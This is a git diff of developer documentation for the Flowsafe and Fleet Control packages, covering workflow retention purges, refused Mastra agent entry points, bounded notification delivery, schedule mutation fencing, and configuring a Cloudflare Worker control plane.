+  purgeExpiredWorkflowRuns,
+  type RunRetentionCursor,
+} from '@proofoftech/flowsafe/do-runner';
+
+const cursorKey = 'workflow-retention-cursor';
+const cursor = await state.storage.get<RunRetentionCursor>(cursorKey);
+await purgeExpiredWorkflowRuns(env.DB, {
+  ttlMs: 30 * 24 * 60 * 60 * 1000,
+  cursor,
+  advanceCursor: (next) => state.storage.put(cursorKey, next),
+});
+```
 
-- selects only terminal statuses;
-- uses a bounded batch;
-- deletes paired R2 artifacts before the snapshot row;
-- keeps a failed row as a retry anchor while allowing later rows to proceed;
-- aggregates per-run failures after the pass;
-- treats a not-yet-created snapshot table as empty.
+Serialize calls that share a cursor. A scan finishes against its captured high-water mark; a subsequent cycle revisits earlier skipped rows even while new rows arrive. A failed artifact deletion leaves its snapshot and permits progress to later candidates. A failed cursor write or uncertain D1 outcome stops that phase without recording unproved progress.
 
-The composed Worker resolves its optional artifact purger from the current maintenance invocation's environment inside this failure boundary. A factory or deletion failure keeps the enumerable snapshot row and does not stop approval or other domain purges.
+Modern cleanup rechecks the physical address, execution token and owned provenance fields before deleting. Legacy cleanup rechecks its observed raw row. Run owners remain protected by reserved ownership or a matching run ID in another supported snapshot namespace. Bound reservations pair with the selected execution; an unreadable current generation is not evidence that an orphaned key can expire. Existing terminal timestamps remain unchanged; key expiry respects the configured retention horizon. Running and suspended rows remain; `cancelled` and `timed_out` require completed lifecycle cleanup.
 
-When runtime storage uses `tablePrefix`, configure the same `storageTablePrefix` on `createFlowsafeWorker()`. It threads that validated prefix through every prefix-aware built-in purge. Direct callers of any exported low-level purge receive the same fail-fast validation before D1 preparation. Fixed-schema Flowsafe tables remain unprefixed.
+Configure `storageTablePrefix` on `createFlowsafeWorker()` to match runtime storage. Direct purge cursors must match their configured namespace and reservation table. Managed maintenance starts a fresh scan when a valid stored cursor belongs to a changed configuration; malformed stored cursors fail retention. Approval and other domain purges retain their separate failure handling.
 
-Running and suspended rows are never age-purged. Retention treats `cancelled` and `timed_out` as terminal after lifecycle cleanup releases ownership.
+The composed Worker resolves its optional artifact purger from the current maintenance invocation's environment. Artifacts delete before D1 cleanup; use the runtime's bucket and matching `R2ArtifactStore.keyPrefix`. The artifact API addresses workflow/run pairs, so a D1 generation check cannot restore artifacts deleted during an uncoordinated replacement. Atomic owner-admission protection depends on fenced admission's owner guard; ordinary unfenced starts do not supply that transaction.
 
 Decommissioning deletes the bound storage after credentials and traffic are revoked. There is no in-database tenant purge in the single-organization data plane.
 
diff --git a/docs/durable-agents.md b/docs/durable-agents.md
index acab7018..cba1263f 100644
--- a/docs/durable-agents.md
+++ b/docs/durable-agents.md
@@ -168,6 +168,20 @@ const durableAgent = createFlowsafeDurableAgent({
 
 `createFlowsafeDurableAgent()` registers Mastra's `durable-agentic-loop` workflow on the supplied runtime. Its `stream()`, `generate()`, and `prepare()` entry points require a host-minted opaque run id. Only a start registered through `streamUntilPersisted()` reaches `RunnerRuntime`; an unregistered start fails terminally after a bounded, best-effort attempt to preserve its serialized input. Preservation is skipped when the thread is missing or memory is explicitly read-only. `prepare()` remains an initial-execution API and runs the full initial processor chain. `resumeViaRuntime()` uses the dedicated registry rehydration behavior described above.
 
+The trusted host calls `streamUntilPersisted(messages, options, requestedBy, requestedByKind, attemptToken, scheduleDispatch, idempotencyKey, authority)`. The eighth argument is required; pass explicit `undefined` for unused positional options. Its `AgentStartAuthority` type is exported only from `agent-runner`. It carries the initiating owner, agent and thread identity, threaded mode, optional caller epoch, separate resource-owner guard and original successful start-reservation claim when keyed.
+
+The bridge captures that authority before streaming and keeps it out of Core input, stream options and public JSON. It preserves the original method caller's requester identity even when a schedule or thread has a different resource owner. Mutable caller objects cannot replace the captured values after an await.
+
+The `onPreparedStartIdentity` property must exist on the authority. Managed hosts supply an awaited callback that persists the prepared execution identity before initial admission; direct integrations may explicitly omit the callback with `undefined`. A placeholder callback does not establish a durable journal. Runtime generates a v2 execution token independently of the host's leg token and acknowledges the persistence waiter only after observing the matching nonpending durable outcome.
+
+Both threaded and ephemeral agent starts use exact preparation journals and preserve the actual source owner separately from the initiating principal. Recovery after eviction reconstructs the actual wrapper before reading its workflow, without a synthetic request principal. A valid pending generation stays unresolved; prepared-unfenced absence or pending state cannot authorize initial repair. Terminal reservation settlement precedes approval, dispatch, owner and lifecycle cleanup, with exact journal clearing last.
+
+The blocking-run scan and new run-record installation share the same lock, including on an already bound thread whose ownership is committed. Recovery validates a keyed journal's reservation-store configuration before bookkeeping and rechecks the complete journal after storage waits before releasing reservations.
+
+Ordinary v1 and absent-provenance runs retain validated status, resume and lifecycle completion. Their mode, binding, canonical run record and saved principal pass the same normal host checks. Only a confirmed raw terminal outcome with no recovery journal and no active owning execution permits legacy record cleanup. These compatibility reads supply no generation identity or start-key settlement authority. During termination, the canonical record remains until lifecycle completion confirms.
+
+Protected keyed replay reads the actual wrapper's workflow once and pairs its public envelope with that observation's identity. A terminal ephemeral run does not need a retained thread binding to replay. Optional stored context may be pruned, but present selectors must agree with the original agent/thread/mode. The execution token, raw snapshot, claim and recovery journal remain internal. Proof-only signal delivery retains the selected generation through policy and memory waits and checks the active run again immediately before delivery.
+
 The runtime's pub/sub identity is reused by default. This lets the durable loop, observer, and active-thread signal delivery share one feed inside the thread Durable Object.
 
 This wrapper does not add the guarded-agent brand or catalog authorization to a raw agent. Use `agent-host` for the supported protected public surface. Route clients through its authenticated run routes because only the host start seam may execute a run. Direct `stream()` with an unregistered id resolves to a failed output; direct `generate()` rejects. `stream()`, `generate()`, `prepare()`, and `streamUntilPersisted()` synchronously refuse a live id. A successful `prepare({ runId: X })` keeps `X` live until core cleans up that prepared run.
@@ -175,13 +189,13 @@ This wrapper does not add the guarded-agent brand or catalog authorization to a
 The runner refuses every inherited entry point that falls under one of four grounds:
 
 - **Re-drives a persisted run below `RunnerRuntime`.** The recovery pair `recover()` and `recoverActiveRuns()` that Mastra 1.53.0 added, and the resume family `resume()`, `resumeStream()`, `resumeGenerate()`, `approveToolCall()`, `declineToolCall()`, `approveToolCallGenerate()`, and `declineToolCallGenerate()`, which since that release rehydrate from snapshot storage on a run-registry miss.
-- **Discovers runs without the host topology's per-principal ownership checks**, returning run, thread, and resource ids the caller does not own: the recovery discovery API `listActiveRuns()`, and the agent-level `listSuspendedRuns()`.
+- **Discovers runs without the host topology's per-principal ownership checks**, returning run, thread, and resource ids the caller does not own: the recovery discovery API `listActiveRuns()`, the agent-level `listSuspendedRuns()`, and — on Mastra releases newer than the declared peer, which add it — `listActiveThreadRuns()`, which takes no arguments and returns those ids for every thread tracked on the pub/sub instance, scoped by neither principal nor agent.
 - **Deletes snapshot rows that deployment-scoped retention owns**: `deleteRunSnapshots()`.
-- **Is a second execution surface outside `RunnerRuntime`, or mints a run id below the caller.** The network family `network()`, `resumeNetwork()`, `approveNetworkToolCall()`, and `declineNetworkToolCall()` compile and drive the multi-agent loop's own workflow with `createRun` plus `run.stream` or `run.resumeStream` on the default engine. The AI SDK v4 legacy pair `generateLegacy()` and `streamLegacy()` run the agent's tools through Mastra's legacy handler, skipping the authorization check every supported entry point calls. And `sendToolApproval()` reads like a resume but starts a run through the thread runtime's continuation when given messages. Four of these generate a run id when the caller omits one — `network()`, `generateLegacy()`, `streamLegacy()`, and `sendToolApproval()` through the thread runtime's continuation — which is the unowned-run-id fallback Flowsafe refuses everywhere else, so blocking them extends the host-minted run id rule that `stream()`, `generate()`, and `prepare()` already enforce across the whole inherited surface.
+- **Is a second execution surface outside `RunnerRuntime`, or mints a run id below the caller.** The network family `network()`, `resumeNetwork()`, `approveNetworkToolCall()`, and `declineNetworkToolCall()` compile and drive the multi-agent loop's own workflow with `createRun` plus `run.stream` or `run.resumeStream` on the default engine. The AI SDK v4 legacy pair `generateLegacy()` and `streamLegacy()` run the agent's tools through Mastra's legacy handler, skipping the authorization check every supported entry point calls. And `sendToolApproval()` reads like a resume but starts a run through the thread runtime's continuation when given messages. Four of these generate a run id when the caller omits one — `network()`, `generateLegacy()`, `streamLegacy()`, and `sendToolApproval()` through the thread runtime's continuation — which is the unowned-run-id fallback Flowsafe refuses everywhere else, so blocking them extends the host-minted run id rule that `stream()`, `generate()`, and `prepare()` already enforce across the whole inherited surface. On releases newer than the declared peer, `__setThreadRuntimeAgent()` is refused on the same ground without starting anything itself: it installs the agent the thread runtime drives for `subscribeToThread()`, `claimThreadOwnership()`, `sendMessage()`, `queueMessage()`, and `sendStateSignal()`, and those five are contained by this class's overrides only while that target resolves to this instance.
 
 All blocked inherited entries throw. `resumeViaRuntime()` is the only resume path, and host starts use `streamUntilPersisted()`.
 
-Mastra's own host features that reach a run through a blocked entry fail closed by design: the agent-controller session's chat tool approval calls `sendToolApproval()`, now blocked outright; its thread resume reaches `sendStreamResume()` and an until-idle resume reaches `resumeStreamUntilIdle()`, both of which land on the blocked `resumeStream()` by virtual dispatch. The five signal and message senders (`sendMessage()`, `queueMessage()`, `sendSignal()`, `sendStateSignal()`, `sendNotificationSignal()`) remain inherited because every run outcome they can produce lands on the runner's terminal path, not because every sender still has a route caller. The `queue` and `state` routes persist rather than wake on idle. Owner notifications follow Mastra's delivery policy and treat their model-visible memory write as best-effort; non-owner notifications enter the durable inbox for the trusted dispatcher. Other persist outcomes require agent memory and return `memory-unavailable` without it. A default or `ifIdle: 'persist'` message or signal still delivers into an active run without memory; the memory gate responds only when core's outcome for the request replaced a persist (an idle discard substituted for a requested persist, or an active persist that no memory could write). If a direct sender call or Mastra completion drain reaches core's run-id mint, the runner persists the input when allowed, emits a terminal error, and lets Mastra clean up the thread state without entering `RunnerRuntime`.
+Mastra's own host features that reach a run through a blocked entry fail closed by design: the agent-controller session's chat tool approval calls `sendToolApproval()`, now blocked outright; its active-thread-run aggregation calls `listActiveThreadRuns()` on every backing agent, refused on newer cores under the discovery ground above, so that aggregation throws on a controller the tool-approval block already made unusable here; its thread resume reaches `sendStreamResume()` and an until-idle resume reaches `resumeStreamUntilIdle()`, both of which land on the blocked `resumeStream()` by virtual dispatch. The five signal and message senders (`sendMessage()`, `queueMessage()`, `sendSignal()`, `sendStateSignal()`, `sendNotificationSignal()`) remain inherited because every run outcome they can produce lands on the runner's terminal path, not because every sender still has a route caller. The `queue` and `state` routes persist rather than wake on idle. Owner notifications follow Mastra's delivery policy and treat their model-visible memory write as best-effort; non-owner notifications enter the durable inbox for the trusted dispatcher. Other persist outcomes require agent memory and return `memory-unavailable` without it. A default or `ifIdle: 'persist'` message or signal still delivers into an active run without memory; the memory gate responds only when core's outcome for the request replaced a persist (an idle discard substituted for a requested persist, or an active persist that no memory could write). If a direct sender call or Mastra completion drain reaches core's run-id mint, the runner persists the input when allowed, emits a terminal error, and lets Mastra clean up the thread state without entering `RunnerRuntime`.
 
 Leave `recovery.durableAgents` at its default `'off'`. Setting it to `'auto'` makes Mastra call `recoverActiveRuns()` on every registered durable agent at boot; each refusal is caught by Mastra's own per-agent handler, which logs `Failed to recover active runs for durable agent`. Flowsafe does not log it.
 
@@ -245,6 +259,24 @@ The agent host persists a thread-to-agent binding and per-run principal record i
 
 Thread delivery is priority-planned across summaries and individual notifications, remains stable across 100-record chunks, and suppresses summarized high-priority rows while the thread was active.
 
+### Bound notification delivery
+
+`createNotificationDispatchTick()` and `createThreadSignalRoutes()` accept `maxDeliveryAttempts`, a positive safe integer defaulting to `DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS`. Use the same value on both factories. They capture the policy at construction; request bodies cannot change it. A tick with `limit: 0` performs no delivery or storage work and needs no patch; invalid numeric policy still fails at construction, and an unpatched `@mastra/core` fails construction of a tick that dispatches.
+
+`deliveryAttempts` counts persisted failed rounds. At the bound, the conditional write sets `discarded`, `deliveryReason: "delivery-attempts-exhausted"` and cleared delivery cursors. A row already at the bound is not sent; its conditional discard preserves the previous count, error and attempt time. Retry delays below the bound retain the existing backoff. Malformed counters remain unmodified and produce an unresolved failure. A due row whose other scalars cannot be read is not written: it is counted as a failed outcome, re-selected on every pass, holds its place in the bounded window and in the `pending-notifications` inventory category, and must be repaired or deleted directly.
+
+Terminal receipts remain available through `getNotification()` and `listNotifications()` until the host's configured retention removes them. They include the last error/count and discard timestamp. The due scan excludes terminal notifications so a persistently refused target can release its place in the bounded dispatch window.
+
+The tick requires `NotificationDeliveryStorage`. `D1NotificationsStorage` provides its `updateNotificationDeliveryIfUnchanged()` operation. Custom implementations must atomically compare the supplied `NotificationDeliveryObservation` and apply the narrow `NotificationDeliveryFailure` patch against their other writers. The observation uses detached scalar values, ISO timestamps and encoded JSON; the public types define its fields. A method implemented as an asynchronous read followed by an unconditional update does not satisfy that contract. Ordinary Core storage can still serve notification ingestion; driving dispatch requires the conditional operation.
+
+Failure bookkeeping preserves newer summary, delivery and content-denial receipts. A conditional write with an uncertain response can be confirmed by an exact target readback. General delivery responses that are lost remain conservatively counted as failed; the dispatcher does not invent successful deliveries from another writer's state. Invocation counters do not promise exactly-once signal delivery: a signal can succeed before its receipt write fails.
+
+Attempt time and retry cursors use the dispatch clock. Updated/discarded timestamps use a captured wall-clock value for retention. Identical same-ID replacements with no observable difference have no separate generation identity under this contract.
+
+D1 compares notification timestamps as instants when selecting due rows, ordering lists and applying retention. Public storage methods accept finite `Date` values. Direct database writers must use ISO dates or ISO date-times with an explicit UTC or numeric offset. A date-time with no zone, or non-ISO text, is outside that grammar: such a value in `deliverAt` or `summaryAt` never matches due selection, and such a value in `updatedAt` never matches retention and sorts its row last in an unlimited `listNotifications` page, so repair or delete the row that carries it directly; supported raw encodings retain their stored bytes.
+
+Summary source counts and a configured source delivery policy read own properties only where the `@mastra/core` patch flowsafe ships is applied at the application root; without it a source named after an `Object.prototype` member is miscounted in the summary core renders and selects an inherited policy entry instead of the configured priority or default action. Flowsafe refuses notification ingestion and dispatch on an unpatched install, and refuses to construct a notification dispatch tick that does delivery work. See [Apply the flowsafe patch to @mastra/core](getting-started.md#apply-the-flowsafe-patch-to-mastracore).
+
 ## Expose signal ingestion
 
 Mount `createSignalRouter()` through `createFlowsafeWorker({ buildSignalRouter })`. The default prefix is `/api/threads`.
@@ -259,7 +291,9 @@ Mount `createSignalRouter()` through `createFlowsafeWorker({ buildSignalRouter }
 
 Without agent memory, persist outcomes return `memory-unavailable`, except that a default or `ifIdle: 'persist'` message or signal still delivers into an active run (an active persist that no memory could write still answers `memory-unavailable`), a persist-behavior agent-schedule fire settles a canonical `discard` receipt, and an owner notification keeps its inbox row while the model-visible memory write remains best-effort.
 
-The Worker applies this order: authentication, coarse role, thread lookup, byte cap, JSON parse, client-memory-id rejection, attribute-key allowlist, the configured rate-limit seam, audit, then topology forwarding. The starter's limiter is isolate-local example protection; use shared durable state when the limit is contractual across the deployment.
+Configure `SignalRouterOptions.validateThreadTarget` with the existing `BoundThreadTargetValidator` type to apply host-specific restrictions before body parsing or signal forwarding. `createAgentThreadTopology().requireBoundThread` verifies a durable binding. For strict ownership, compare the captured principal's `kind` and `id` with the owner returned by `await context.resourceOwnerFor('thread', target.threadId)`, and throw `RunRouteError` with status 404 on refusal. Omitting the callback retains the router's existing resource-access policy, including its administrator access.
+
+The router records acceptance after the downstream response succeeds and normalizes thread-not-found refusals from registry access, the validator and the receiving Durable Object. Audit-sink and diagnostic failures retain the selected response. The starter's limiter is isolate-local example protection; use shared durable state when the limit is contractual across the deployment.
 
 Signals are untrusted model input. Core escapes the XML representation, while the route validates tag and attribute names and caps payload size. A receiving agent's ordinary `processInput` policy is not a complete signal boundary: Mastra can drain queued signals after the initiating input processor has run. Configure `createThreadSignalRoutes({ contentPolicy })` to inspect Mastra's canonical escaped XML inside the Thread Durable Object before delivery, persistence, wake, or run start. The same boundary covers direct routes, providers, schedules, and notification dispatch.
 
@@ -276,7 +310,7 @@ PATCH  /api/threads/:threadId/goal
 DELETE /api/threads/:threadId/goal
 ```
 
-Objectives are standing instructions injected into future turns. The router therefore uses the signal-ingestion trust posture for writes: authenticate, authorize, ownership-check, reject client memory ids, cap size and `maxRuns`, then audit every accepted or post-auth rejected mutation.
+Objectives are standing instructions injected into future turns. Mutations require authenticated thread access. Audit-sink failures retain the selected mutation result.
 
 The router writes through Mastra's objective helpers into the goal lane of `mastra_thread_state`, so the durable goal step reads the identical shape. Updates are deployment-local last-write-wins rather than a serialized thread lease.
 
@@ -284,6 +318,14 @@ The router writes through Mastra's objective helpers into the goal lane of `mast
 
 Create a `D1SchedulesStorage`, expose `createScheduleRouter()`, and pass `createScheduleTick()` to the maintenance singleton with a dedicated tick interval.
 
+Use the same database object for the schedule store and its `ExecutionFenceStore`. A fenced custom facade must advertise `FENCED_SCHEDULE_STORAGE` before serving requests, including before epoch activation. `D1SchedulesStorage` and `createScheduleStorageDomains()` provide that capability. An explicit `executionFence: 'none'` supports a custom facade without the atomic storage contract.
+
+Supply the artifact epoch through trusted resolver configuration or the composed Worker's `mutationEpoch` option. The router retains that authenticated value through asynchronous work. Direct D1 authoring methods accept a trailing `MutationEpochContext` and require transactional `batch()`. Context-free calls through Core refuse once the epoch requirement is active. Request bodies and external headers cannot supply this authority.
+
+Create, update and resume require an open fence. Pause and delete retain their state allowance but require the current epoch after activation. The router checks the epoch even when the requested pause/resume status matches the row. Direct `pauseSchedule` accepts no patch; `resumeSchedule` takes the observed cron/timezone with the computed next fire and rejects a concurrent configuration change. Admitted trigger settlement can finish a pending deletion after the fence changes.
+
+`SCHEDULE_MUTATION_CONFLICT` is a 409 for a changed fence frame or resume configuration. `SCHEDULE_MUTATION_OUTCOME_UNKNOWN` is a 503 when the write cannot be confirmed; it can follow a committed write and supplies no rollback authority. A later matching row is not an invocation receipt. See the [API reference](api-reference.md#flowsafe-subpath-exports) for the schedules entry.
+
 The router:
 
 - mints schedule ids server-side;
diff --git a/docs/examples/CLAUDE.md b/docs/examples/CLAUDE.md
deleted file mode 100644
index b823c34f..00000000
--- a/docs/examples/CLAUDE.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# Example navigation
-
-[`README.md`](README.md) labels which examples are runnable and which are design sketches.
-
-- `gtm-outbound.ts`: serial approval
-- `content-pipeline.ts`: parallel work
-- `lead-generation.ts`: branching
-- `product-launch.ts`: repeated gates
-- `custom-workflow-scoping.ts`: host-level workflow authorization sketch
-
-Run the executable flowsafe example with:
-
-```bash
-pnpm --filter @proofoftech/flowsafe example:gtm
-```
diff --git a/docs/fleet-control.md b/docs/fleet-control.md
index 16b2e24d..85902f17 100644
--- a/docs/fleet-control.md
+++ b/docs/fleet-control.md
@@ -2,26 +2,144 @@
 
 # Provision physically isolated deployments
 
-Fleet control provisions one D1 database, fleet-owned application R2 buckets, and one isolated Worker resource group per project environment. Platform-authored deployments use one ordinary Worker. Fresh external deployments use two Workers for Platforms user scripts: one stable platform-authored state script and one content-addressed candidate. They consume no ordinary Worker slots per deployment. Use the `@proofoftech/fleet-control` package from a trusted control plane, never from tenant request scope. The package is published, so enforce that boundary in your own build: see [Import it only from a trusted control plane](../packages/fleet-control/README.md#import-it-only-from-a-trusted-control-plane).
+Fleet control provisions isolated application Workers and their D1/R2 resources for each project environment. Platform-authored deployments can use ordinary Workers or a Workers for Platforms catalog. External deployments keep trusted state and customer code in separate scripts within the untrusted dispatch namespace. Use the `@proofoftech/fleet-control` package from a trusted control plane, never from tenant request scope. The package is published, so enforce that boundary in your own build: see [Import it only from a trusted control plane](../packages/fleet-control/README.md#import-it-only-from-a-trusted-control-plane).
 
 ## Choose a provisioning backend
 
-Both backends implement the same ordered `ProvisioningBackend` contract:
+All backends implement the same ordered `ProvisioningBackend` contract:
 
 | Backend | Accepted artifacts | Deployment mechanism |
 | --- | --- | --- |
+| `CloudflareApiPlainWorkerBackend` | Platform-authored only | Direct Cloudflare APIs for ordinary Workers and Worker Versions |
 | `WranglerLoopBackend` | Platform-authored only | Host-provided Wrangler `>=4.118 <5` commands and generated configuration |
 | `WorkersForPlatformsBackend` | Platform-authored catalogs and external project releases | Cloudflare Upload API in an untrusted dispatch namespace |
 
-`WorkersForPlatformsBackend` requires its untrusted dispatch namespace, named shared outbound Worker, and state-egress root secret at construction. It rejects an incomplete configuration before provider access. Normal provisioning always places trusted per-deployment state in that dispatch namespace. Ordinary state scripts exist only as already-persisted bridges managed by the dedicated backend-switch lifecycle.
+`WorkersForPlatformsBackend` requires its untrusted dispatch namespace, named shared outbound Worker, and state-egress root secret at construction. It rejects an incomplete configuration before provider access. External provisioning places its trusted state script in that dispatch namespace. Ordinary state scripts exist only as already-persisted bridges managed by the dedicated backend-switch lifecycle.
 
 `WranglerCommandRunner` defaults to `['pnpm', 'exec', 'wrangler']`. Pass its `wranglerCommand` option when the host must select an explicit Wrangler executable or wrapper and fixed arguments. Fleet Control does not install Wrangler for the host.
 
+`CloudflareApiPlainWorkerBackend` uses a `CloudflareProvisioningClient` constructed with `plane: 'plain-worker'`. Do not pass a dispatch namespace. Supply a durable `exportStore` to the client before any lifecycle can delete D1.
+
 The plain backend rejects external artifacts before creating a resource. Switch to Workers for Platforms before you run the first customer-authored artifact. Set `routeHostname` to the customer-facing custom domain. For plain Workers, set `maintenanceBaseUrl` to the distinct Workers control origin; for Workers for Platforms, set it to the control-plane dispatcher origin. Fleet state reserves the route before any Worker can publish it.
 
+## Run the trusted control plane in a Worker
+
+Import `createCloudflareControlPlane` from `@proofoftech/fleet-control/cloudflare-control-plane` in a dedicated trusted Worker. The factory constructs the ordinary backend and durable stores from your bindings. Your host authorizes requested operations and resolves their specifications and credentials. Keep this Worker separate from tenant application Workers.
+
+### Bind durable state and provider credentials
+
+Use native D1 bindings for Fleet state and shared provider-quota reservations, plus a private R2 bucket for database exports. Replicas sharing a provider quota must use the same quota database and nonsecret scope. Preserve export bucket identity and receipt authority while operations remain active.
+
+These example environment names belong to the host:
+
+| Host value | Factory input |
+| --- | --- |
+| `FLEET_DB` D1 binding | `fleetDatabase` |
+| `QUOTA_DB` D1 binding | `quotaDatabase` |
+| `EXPORTS` R2 binding | `databaseExports.bucket` |
+| `CLOUDFLARE_ACCOUNT_ID` variable | `accountId` |
+| `CLOUDFLARE_API_TOKEN` secret | `apiToken` |
+| `CLOUDFLARE_QUOTA_SCOPE` variable | `quotaScope` |
+| `EXPORT_BUCKET_NAME` variable | `databaseExports.bucketName` |
+
+Set the nonsecret variables in your Worker configuration. Configure the provider token through [Workers secrets](https://developers.cloudflare.com/workers/configuration/secrets/), using the permissions in the [direct backend threat model](security-threat-model.md#direct-cloudflare-api-backend). Never put the token in checked-in variables, Queue messages, or tenant bindings. Keep the export bucket private through its R2 access configuration.
+
+This configuration fragment binds a Queue consumer and its continuation producer. Replace the resource identifiers with your dedicated control-plane resources:
+
+```jsonc
+{
+  "name": "fleet-control",
+  "main": "src/index.ts",
+  "compatibility_date": "2026-08-06",
+  "workers_dev": false,
+  "preview_urls": false,
+  "d1_databases": [
+    { "binding": "FLEET_DB", "database_id": "your_fleet_database_id" },
+    { "binding": "QUOTA_DB", "database_id": "your_quota_database_id" }
+  ],
+  "r2_buckets": [
+    { "binding": "EXPORTS", "bucket_name": "fleet-exports" }
+  ],
+  "queues": {
+    "producers": [{ "binding": "CONTROL_QUEUE", "queue": "fleet-jobs" }],
+    "consumers": [{ "queue": "fleet-jobs", "max_batch_size": 1 }]
+  }
+}
+```
+
+`max_batch_size: 1` is an example scheduling choice. Set retry, concurrency, and dead-letter handling for your workload; see the [Wrangler configuration reference](https://developers.cloudflare.com/workers/wrangler/configuration/). Disabling workers.dev and preview URLs does not authenticate a management endpoint. If you expose one, authenticate and authorize its callers before invoking Fleet.
+
+The required type peer is `@cloudflare/workers-types >=5.20260730.1 <6`; this repository verifies `5.20260905.1`. Import the factory at module scope:
+
+```typescript
+import { createCloudflareControlPlane } from
+  '@proofoftech/fleet-control/cloudflare-control-plane';
+```
+
+Inside the event handler, construct it from the host's typed `env`:
+
+```typescript
+const control = createCloudflareControlPlane({
+  accountId: env.CLOUDFLARE_ACCOUNT_ID,
+  apiToken: env.CLOUDFLARE_API_TOKEN,
+  fleetDatabase: env.FLEET_DB,
+  quotaDatabase: env.QUOTA_DB,
+  quotaScope: env.CLOUDFLARE_QUOTA_SCOPE,
+  databaseExports: {
+    bucket: env.EXPORTS,
+    bucketName: env.EXPORT_BUCKET_NAME,
+    streams: { DigestStream: crypto.DigestStream, FixedLengthStream },
+    randomUUID: () => crypto.randomUUID(),
+  },
+});
+```
+
+The Queue binding and any management authentication secret belong to your handler. They are not factory options. Continuation tokens identify work to compare against Fleet D1; the factory has no token-signing secret.
+
+### Advance work before acknowledging delivery
+
+Cloudflare Queues can deliver messages more than once and out of order. Keep specifications, secrets, account selection, and provider configuration in trusted host state. Queue payloads carry operation claims and returned continuation tokens. See [delivery guarantees](https://developers.cloudflare.com/queues/reference/delivery-guarantees/) and [Queue ordering](https://developers.cloudflare.com/queues/reference/how-queues-works/).
+
+For a consumer-owned continuation handler:
+
+1. Authorize the job and resolve its trusted inputs. Invoke the appropriate factory advance using the existing action and token types.
+2. For `pending`, await sending the returned continuation claim before acknowledging the input message. If sending fails, retry the input. A crash after send and before acknowledgement can produce duplicate claims.
+3. For `complete`, handle the durable result before acknowledging. Retain receipt-backed results according to their lifecycle.
+4. For `blocked`, record the cleanup or decommission result for remediation and retain its returned token before acknowledging. After remediation, submit an authorized `restart-blocked` action with the current token. Do not automatically continue or restart blocked work.
+5. For terminal `failed`, report the durable failure through your job-status or failure policy before acknowledging or dead-lettering. A resolved call does not imply success. Do not endlessly enqueue the same failed token.
+6. Retry thrown transient failures and lease contention under your consumer policy. An exception does not prove an earlier provider or database effect failed to commit. Do not synthesize a newer token.
+
+Use the per-message [`ack()` and `retry()` APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/). Unacknowledged batch failures can redeliver other messages; see [batching and retries](https://developers.cloudflare.com/queues/configuration/batching-retries/). Sending a continuation and committing Fleet progress are separate operations. Queue acknowledgement does not replace the database commit or make provider effects exactly once.
+
+### Move a future executor between Node and Workers
+
+An executor cutover preserves the deployment resources and durable authority it already manages. It differs from the [tenant physical-isolation cutover](deployment-reference.md#cloudflare-compatibility). Check state and receipt compatibility before moving future operations:
+
+1. Verify that the destination version can read the existing Fleet schema, records, tokens, and receipts. Preserve the account, Fleet database, immutable resource mappings, trusted specifications, and credential source.
+2. Preserve the shared quota database/scope and active export receipt authority. Finish filesystem-backed export operations under their original authority before moving them to a Worker that cannot supply it.
+3. Stop new work submission to the source executor and let active calls finish or reach durable outcomes. Confirm lease ownership; a guessed lease timeout is not a drain. Stop the old scheduler and other authorized writers too.
+4. Deploy and verify the destination without tenant traffic routes, then enable its job intake. Resume supported claims against Fleet D1. Do not import process-local cursors or rewrite operation state from memory.
+5. For rollback, stop Worker intake first. Resume Node execution only with a version that understands the states and receipts already written. Otherwise roll forward with a compatible executor. Never restore an old Fleet snapshot over newer provider effects.
+
+You can [pause and resume Queue delivery](https://developers.cloudflare.com/queues/configuration/pause-purge/) during the transition. Pausing still allows messages to arrive and expire; it does not terminate an invocation already running.
+
+### Size the Worker for its workload
+
+The supported packed configuration is `2026-08-06` without explicit compatibility flags. Cloudflare enables Node compatibility by date from [2026-08-04](https://developers.cloudflare.com/changelog/post/2026-08-04-nodejs-compat-default/). The historical comparison uses `2026-08-03` with `nodejs_compat,no_nodejs_compat_v2`, and with `nodejs_compat`.
+
+Use Workers Paid for the direct control plane. The operation-specific request bounds below remain distinct from Cloudflare's platform allowance. Check the current [Workers limits](https://developers.cloudflare.com/workers/platform/limits/) and [D1 limits](https://developers.cloudflare.com/d1/platform/limits/) before sizing the host. As checked on 2026-09-09, the Worker bundle limit is 64 MiB uncompressed, memory is 128 MB per isolate, and startup has a one-second limit. Gzip has no platform size limit. Concurrent invocations share isolate memory.
+
+Inventory reads and audit continuations materialize stored data. Follow the [audit memory/read-cost envelope](#audit-an-account-under-a-request-budget) and [migration recovery and cost boundaries](#recovery-and-cost-boundaries). Provider request budgets and input validation ceilings do not guarantee that a workload fits memory, CPU, or database query limits.
+
+At commit `308bd39`, dated 2026-09-09, the unminified namespace-import fixture measured 3,292,290 raw bytes and 448,465 gzip bytes in the supported and historical configurations, with zero size delta. Its repository regression budgets are 4,128,768 raw bytes and 589,824 gzip bytes: 25% headroom rounded upward to 64 KiB. Those byte figures are that dated capture rather than a standing property of the package: `pnpm test:packed-fleet-control` re-measures the fixture and prints the raw and gzip bytes it read beside the budgets it enforces.
+
+The supported configuration's local startup profile sampled 21.690 ms of active CPU within a 102.108 ms profile window. The workload fixtures completed a 32-record audit, selected late continuations for 1,001 and 10,000 records, and a selected continuation after exact 16 MiB intake. Larger cases seed prior observations and cursors; they do not execute the preceding provider calls. These are dated local observations, not production latency or capacity guarantees.
+
+The harness does not expose CPU or peak isolate-memory counters. [Local Wrangler does not enforce production runtime limits](https://developers.cloudflare.com/workers/wrangler/configuration/#limits). Its 1,001-record intake made 46 Fleet-binding calls containing 1,038 SQL statements; the 10,000-record intake made 135 calls containing 10,037 statements. Binding calls and SQL statements are different counters. The published D1 query limit and Workers subrequest allowance do not establish how those batch contents are counted here; production query-budget compliance remains unverified.
+
 ## Provision a deployment
 
-Create a backend, durable `FleetStateStore`, validated `DeploymentSpec`, and distinct credentials. `provisionDeployment()` applies this order:
+Use the [factory above](#run-the-trusted-control-plane-in-a-worker) in a Worker. For an explicitly composed host, create a backend, durable `FleetStateStore`, validated `DeploymentSpec`, and distinct credentials. `provisionDeployment()` applies this order:
 
 1. Create or resolve the uniquely named D1 database
 2. Seed and verify the shared deployment-identity sentinel
@@ -48,7 +166,9 @@ if (!result.maintenance.armed) {
 
